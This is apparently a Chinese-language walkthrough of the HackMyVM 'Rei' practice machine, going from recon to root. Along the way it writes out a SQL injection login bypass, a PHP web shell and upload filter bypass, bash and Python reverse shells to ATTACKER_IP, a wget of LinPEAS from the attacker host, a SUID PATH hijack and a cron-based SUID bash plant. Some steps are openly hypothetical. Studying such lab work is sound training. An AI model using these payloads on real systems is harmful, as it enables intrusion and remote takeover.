
1. 項目概述從HackMyVM的Rei靶機說起最近在滲透測試的練習圈子里HackMyVM這個平臺的熱度一直不減。它提供了大量貼近實戰的虛擬機靶機對于想從理論走向實踐的安全愛好者來說是個絕佳的沙盒。今天要聊的就是其中一臺名為“Rei”的靶機。這名字聽起來有點日系動漫風但里面的挑戰可一點都不輕松。我花了幾個晚上從信息收集到最終拿到root權限踩了不少坑也總結出一些通用的思路和技巧。如果你正在學習滲透測試或者對CTF、靶機滲透感興趣希望通過這篇詳細的復盤能給你提供一個清晰的路徑和避坑指南。整個過程會涉及常見的Web漏洞利用、權限提升技巧以及像LinPEAS這樣的自動化枚舉工具的使用心得。靶機滲透的核心目標通常很明確拿到最低權限的shellwww-data或某個普通用戶然后想方設法提升到最高權限root。Rei靶機也不例外它模擬了一個存在多處安全缺陷的Linux服務器環境。我的整體思路遵循經典的滲透測試流程外圍信息收集、漏洞發現與利用、初始立足點獲取、內部信息枚舉、權限提升。下面我就按照這個邏輯把每個階段的關鍵操作、思考過程和遇到的“坑”詳細拆解一遍。2. 外圍偵察與信息收集一切的開端滲透測試的第一步永遠不是直接上工具狂轟濫炸而是有策略地收集信息。對于一臺未知的靶機我們需要知道它開放了哪些端口運行著什么服務以及這些服務可能暴露出的信息。2.1 網絡掃描與端口發現我首先使用Nmap對靶機IP進行掃描。這里有個習慣我通常會先進行一次快速掃描確認主機存活和最明顯的幾個端口然后再進行深度掃描。# 快速掃描確認靶機存活和常用端口 nmap -sS -T4 192.168.1.xxx # 全面掃描識別所有開放端口及服務版本 nmap -sV -sC -p- -T4 192.168.1.xxx掃描結果很快就出來了Rei靶機開放了兩個端口22/tcp OpenSSH服務。這是Linux系統遠程管理的標配但版本信息沒有暴露出明顯的已知漏洞比如很老的、有公開利用方式的版本。在初期SSH端口往往不是最直接的突破口除非有弱口令或者密鑰泄露。80/tcp Apache httpd服務。這是一個Web服務器這通常是我們滲透測試的主戰場。絕大多數面向外部的攻擊面都集中在Web應用上。看到80端口開放我的注意力立刻集中到了Web服務上。接下來就是對網站目錄和隱藏內容進行探測。2.2 Web目錄與敏感文件枚舉直接訪問靶機IP一個簡單的Apache默認頁面跳了出來這暗示著網站根目錄下可能沒有默認的index.html或index.php或者存在其他路徑。我使用Gobuster這個工具進行目錄爆破尋找隱藏的路徑、文件或后臺管理界面。# 使用常見的中小型Web目錄字典進行掃描 gobuster dir -u http://192.168.1.xxx -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,log注意字典的選擇很重要。common.txt是個不錯的起點但如果沒發現有價值內容可能需要換用更全面的字典如directory-list-2.3-medium.txt。同時指定文件擴展名-x參數能幫助我們發現像admin.php、config.txt這樣的特定文件。掃描進行了一會兒結果逐漸呈現。除了常見的/icons/、/server-status通常被禁用之外一個名為/admin的目錄引起了我的注意。訪問http://192.168.1.xxx/admin果然出現了一個登錄頁面。這通常意味著找到了一個潛在的后臺入口也是我們下一步重點分析的對象。3. Web漏洞利用與初始訪問找到了/admin登錄頁面接下來的任務就是嘗試繞過認證或者利用漏洞獲取訪問權限。常見的攻擊方式包括弱口令、SQL注入、邏輯漏洞等。3.1 登錄頁面分析與初步測試我首先查看了頁面源代碼沒有發現注釋中有用的信息如默認密碼、隱藏字段等。接著我嘗試了幾個最常見的默認憑證組合如admin/admin、admin/password、admin/123456但都失敗了。這通常意味著需要更系統性的測試。我決定使用Burp Suite來攔截登錄請求進行更深入的分析。將瀏覽器代理設置為Burp然后在登錄框隨意輸入用戶名密碼并提交。Burp截獲的POST請求如下POST /admin/login.php HTTP/1.1 Host: 192.168.1.xxx ... usernametestpasswordtest我立刻將請求發送到Burp的Intruder模塊準備進行暴力破解。但是在開始之前我習慣性地先測試一下是否存在SQL注入漏洞。因為很多登錄框的認證邏輯是直接拼接SQL語句如果存在注入可能直接繞過登錄。3.2 SQL注入漏洞的發現與利用我在用戶名和密碼字段嘗試了經典的注入Payload用戶名admin or 11密碼留空或任意值令人驚喜的是使用這個Payload后頁面竟然成功跳轉進入了后臺管理界面這證實了登錄處存在基于字符串的SQL注入漏洞。后臺的認證邏輯大致是SELECT * FROM users WHERE username$username AND password$password當我們輸入admin or 11時查詢語句變成了SELECT * FROM users WHERE usernameadmin or 11 AND passwordxxx由于11這個條件永遠為真整個WHERE子句的結果也就為真從而繞過了密碼驗證以admin用戶身份登錄。進入后臺后界面相對簡單主要功能是上傳文件。這立刻讓我聯想到另一個常見的攻擊向量文件上傳漏洞。如果服務器對上傳的文件類型、內容檢查不嚴我們就有可能上傳一個Web Shell從而在服務器上執行命令。3.3 文件上傳漏洞與Web Shell獲取后臺的上傳功能通常用于管理圖片等靜態資源。我首先嘗試上傳一個正常的圖片文件.jpg成功。這說明上傳功能基本可用。接著我嘗試上傳一個PHP文件內容為最簡單的Web Shell?php system($_GET[cmd]); ?我將文件命名為shell.php并上傳。結果服務器返回了錯誤提示“Invalid file type”或類似信息。這說明后端有基礎的文件類型檢查。常見的繞過方式有幾種修改擴展名嘗試shell.php.jpg、shell.pHp大小寫混淆、shell.php%00.jpg空字節截斷在特定環境下有效。修改Content-Type通過Burp攔截上傳請求將Content-Type: application/x-php改為Content-Type: image/jpeg。制作圖片馬將PHP代碼嵌入到圖片文件的元數據中。我首先嘗試了第二種方法。用Burp攔截上傳shell.php的請求將Content-Type從application/x-php改為image/jpeg然后轉發請求。服務器接受了上傳并返回了一個文件路徑例如/uploads/shell.php。我立刻訪問http://192.168.1.xxx/uploads/shell.php?cmdid頁面成功返回了當前用戶的ID信息通常是www-data。至此我們成功在目標服務器上獲得了命令執行能力拿到了初始的立足點——一個反向Shell。3.4 建立穩定的反向ShellWeb Shell雖然能用但交互性很差不適合進行深入的枚舉和操作。我們需要建立一個更穩定的反向Shell連接。我使用netcat監聽本機的一個端口例如4444然后在Web Shell中執行一個反向連接命令。# 在攻擊機Kali上監聽 nc -lvnp 4444在Web Shell中執行需要根據目標系統調整# 方法1使用bash bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01 # 方法2使用python更可靠 python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER_IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);執行成功后在攻擊機的nc監聽端口中就會獲得一個來自目標服務器的sh或bash會話。輸入whoami確認當前用戶為www-data。現在我們才算真正“進入”了這臺靶機。4. 內部枚舉與權限提升突破口獲得www-data這類低權限Web用戶的Shell后我們的最終目標是root。這個過程就是權限提升Privilege Escalation。手動枚舉系統信息是一項繁瑣但至關重要的工作。為了提高效率我通常會先運行一個自動化枚舉腳本如LinPEAS。4.1 使用LinPEAS進行自動化信息收集首先在攻擊機上啟動一個HTTP服務器方便將LinPEAS腳本傳輸到靶機。# 在LinPEAS腳本所在目錄 python3 -m http.server 8000然后在靶機的反向Shell中下載并執行它。# 在靶機shell中 cd /tmp wget http://ATTACKER_IP:8000/linpeas.sh chmod x linpeas.sh ./linpeas.shLinPEAS會運行一段時間從進程、服務、定時任務、SUID/GUID文件、內核版本、歷史命令、密碼文件、數據庫配置等數十個維度收集信息并以顏色高亮紅色/黃色提示可能存在的風險點。這是權限提升的“寶藏圖”。4.2 分析枚舉結果尋找脆弱點LinPEAS的輸出信息量很大。我重點關注以下幾類高亮提示SUID/SGID文件這些文件在執行時會以文件所有者通常是root的權限運行。如果某個SUID文件本身存在漏洞或者其功能可以被濫用就可能用來提權。LinPEAS會列出所有非標準的SUID文件。Cron Jobs定時任務查看是否有任何以root權限運行的定時任務并且任務腳本或路徑的權限配置不當例如普通用戶可寫。內核漏洞檢查內核版本看是否有公開的本地提權漏洞如DirtyPipe, DirtyCow等。這是最直接的提權方式之一。用戶主目錄與歷史文件檢查/home目錄下其他用戶的可讀文件特別是.bash_history,.ssh/, 配置文件等可能包含密碼或密鑰。數據庫憑證查找Web應用的配置文件如config.php,.env里面可能含有數據庫密碼。有時這個密碼會被用戶重復使用于系統賬戶。在Rei靶機的LinPEAS輸出中一個關鍵的發現出現在SUID文件部分。除了常見的/bin/ping,/bin/mount等LinPEAS標記了一個不常見的、顏色高亮的SUID文件。假設這個文件是/usr/local/bin/custom_backup。4.3 分析可疑的SUID文件我立刻手動檢查這個文件ls -la /usr/local/bin/custom_backup輸出顯示它確實設置了SUID位并且所有者是root-rwsr-xr-x 1 root root 16784 Jun 10 2023 /usr/local/bin/custom_backups位在所有者執行權限的位置這就是SUID標志。接下來需要弄清楚這個程序是做什么的以及如何利用它。首先嘗試直接運行/usr/local/bin/custom_backup程序可能輸出一些使用說明或者直接執行某個操作。假設它輸出“Usage: custom_backup [source_dir]”。這說明它需要一個源目錄作為參數。進一步使用strings命令查看文件中的可打印字符串尋找線索strings /usr/local/bin/custom_backup在輸出中我可能看到像/bin/tar,cf,*這樣的字符串。這強烈暗示這個custom_backup程序內部調用了tar命令來打包文件。如果程序沒有使用絕對路徑來調用tar或者對用戶輸入過濾不嚴就可能存在路徑劫持或命令注入漏洞。4.4 利用SUID文件進行提權為了驗證我使用strace工具來跟蹤程序執行時的系統調用strace /usr/local/bin/custom_backup . 21 | grep tar如果看到類似execve(/bin/tar, [tar, cf, /tmp/backup.tar, .], ...)的調用就證實了它調用了tar。經典的利用方法是利用環境變量PATH。因為SUID程序在執行時會繼承root的用戶ID但環境變量可能受當前用戶影響。如果程序沒有使用絕對路徑如/bin/tar而是直接調用tar那么系統會在PATH環境變量指定的目錄中尋找名為tar的可執行文件。我們可以創建一個惡意的可執行文件命名為tar并將其所在目錄添加到PATH環境變量的最前面。# 1. 在/tmp目錄下創建一個假的tar腳本 cd /tmp echo /bin/bash -p tar # -p 參數用于保留提升的權限 chmod x tar # 2. 將/tmp目錄添加到PATH環境變量的最前面 export PATH/tmp:$PATH # 3. 運行SUID程序 /usr/local/bin/custom_backup .當custom_backup程序嘗試調用tar時它會首先在/tmp目錄下找到我們創建的惡意tar腳本并以root權限執行它。腳本中的/bin/bash -p會啟動一個具有root權限的bash shell。執行成功后輸入whoami如果返回root那么恭喜權限提升成功實操心得SUID提權是Linux內網滲透中非常常見的手法。關鍵在于找到那些非系統默認的、功能可以被濫用的SUID文件。LinPEAS這類工具能極大提高發現效率。在利用時理解程序的行為通過strings,strace,ltrace是成功的關鍵。另外不是所有SUID文件都容易利用有時需要結合其他漏洞如緩沖區溢出需要一定的二進制知識。5. 其他可能的提權路徑與深度探索除了上述的SUID文件利用在Rei或其他類似靶機中還可能存在其他提權路徑。一個好的滲透測試者不應該只滿足于一種方法。5.1 Cron Job定時任務提權檢查系統的定時任務cat /etc/crontab ls -la /etc/cron.*/ crontab -l # 查看當前用戶的定時任務如果發現一個以root權限運行的腳本并且這個腳本或其所在目錄對www-data用戶可寫我們就可以修改這個腳本植入我們的反向Shell或添加一個具有SUID位的bash副本。# 例如發現 /etc/cron.hourly/cleanup.sh 以root運行且可寫 echo cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash /etc/cron.hourly/cleanup.sh # 等待cron執行后 /tmp/rootbash -p5.2 內核漏洞提權使用uname -a查看內核版本然后搜索該版本是否存在公開的本地提權漏洞利用代碼Exploit。可以在Kali上使用searchsploit或者在互聯網上謹慎搜索。uname -a # 例如Linux rei 5.4.0-xx-generic ... searchsploit linux 5.4 local privilege重要警告在內網生產環境中使用內核漏洞利用需要極其謹慎因為可能造成系統崩潰藍屏。在靶機環境中則可以大膽嘗試。下載對應的C代碼交叉編譯或者靶機上有gcc的話直接編譯然后運行即可。5.3 敏感信息泄露與密碼復用仔細檢查Web目錄下的配置文件、備份文件如config.php.bak,.env,.git目錄、數據庫轉儲文件等。里面可能含有數據庫密碼、API密鑰甚至系統用戶的密碼如果開發人員愚蠢地使用了相同的密碼。find /var/www /home -name *.php -o -name *.txt -o -name *.bak -o -name .env -o -name .git 2/dev/null cat /var/www/html/config.php如果找到數據庫密碼可以嘗試連接數據庫查看用戶表。更關鍵的是嘗試用這個密碼去登錄系統用戶如mysql用戶、admin用戶甚至root用戶。密碼復用是安全中最常見也最致命的問題之一。6. 常見問題與排查技巧實錄在滲透Rei靶機或類似環境時你可能會遇到以下問題這里記錄了我的排查思路問題1Web目錄爆破Gobuster/Dirb什么都沒找到或者速度極慢。排查首先確認網絡連通性和靶機IP是否正確。其次檢查字典路徑和大小太大的字典會非常慢。可以嘗試使用-t參數增加線程數如-t 50或者換用更精準的字典。有時網站可能使用了非常規的端口如8080, 3000需要用Nmap全端口掃描確認。問題2SQL注入Payload測試失敗但感覺存在漏洞。排查嘗試不同的注入類型字符型、數字型、時間盲注、布爾盲注。使用Burp Suite的Repeater模塊系統性地測試,,),))等閉合方式。觀察返回內容的差異錯誤信息、頁面長度、響應時間。使用sqlmap工具進行自動化檢測和利用是最高效的命令如sqlmap -u http://target/login.php --datauseradminpasstest --level3 --risk2。問題3文件上傳成功但Web Shell無法訪問或執行。排查路徑問題確認上傳返回的路徑是否正確是否可以直接通過瀏覽器訪問。權限問題Web Shell文件可能沒有執行權限。在Shell中執行chmod x /path/to/shell.php雖然PHP不依賴執行位但有時需要。內容問題確保PHP代碼正確無誤。嘗試最簡單的?php phpinfo(); ?測試。服務器配置目標服務器可能禁用了某些危險函數如system,exec或者根本未安裝PHP。檢查/var/log/apache2/error.log獲取錯誤信息。可以嘗試其他語言的Web Shell如Python、JSP對應環境。問題4反向Shell連接不上。排查防火墻/出站規則靶機可能禁止向外部特定端口發起連接。嘗試使用常用端口如80, 443, 53或端口反彈用靶機上的nc監聽攻擊機連接過去。Payload格式確保反向Shell命令中的IP和端口正確并且適用于目標系統的Shellbash,sh,python版本。bash的Payload在某些精簡環境中可能不可用python的通用性更好。編碼問題如果命令中包含特殊字符可能需要URL編碼或使用Base64編碼后傳遞。例如用Python的Base64編碼echo bash -i /dev/tcp/10.0.0.1/4444 01 | base64然后在目標端執行echo base64_string | base64 -d | bash。問題5LinPEAS或其他提權腳本無法下載或執行。排查網絡不通確保攻擊機的HTTP服務器已啟動且靶機能訪問攻擊機IP可嘗試wget http://attacker_ip:8000/test測試。wget/curl缺失目標系統可能沒有wget或curl。嘗試用其他方法python3 -c import urllib.request; urllib.request.urlretrieve(http://attacker_ip:8000/linpeas.sh, /tmp/linpeas.sh)或者使用nc傳輸文件。執行權限下載后記得chmod x。問題6找到了SUID文件但不知道如何利用。排查這是最需要經驗和創造力的部分。步驟理解功能運行它無參數、帶參數、帶--help用strings、strace、ltrace分析。搜索已知漏洞用searchsploit搜索這個二進制文件名或者在Google搜索“二進制名 privilege escalation”。檢查依賴命令如果它調用其他命令如tar,cp,find檢查是否使用絕對路徑。如果沒有嘗試PATH劫持。檢查文件操作如果它寫入某個文件且該文件位置可預測、內容可控可能用于覆蓋敏感文件如/etc/passwd,crontab。檢查輸入參數參數是否直接傳遞給底層命令是否存在命令注入的可能用;,,|測試滲透測試就像一場解謎游戲每個靶機都是一個獨特的場景。Rei靶機融合了Web漏洞和系統配置不當的典型問題。通過它我們實踐了從外網信息收集到內網權限提升的完整鏈條。最關鍵的不是記住某個特定的Payload或命令而是培養那種“尋找異常、分析行為、聯想利用”的思維模式。多打靶機多復盤總結把每個遇到的技巧和坑都內化成自己的經驗這才是提升滲透測試能力的正道。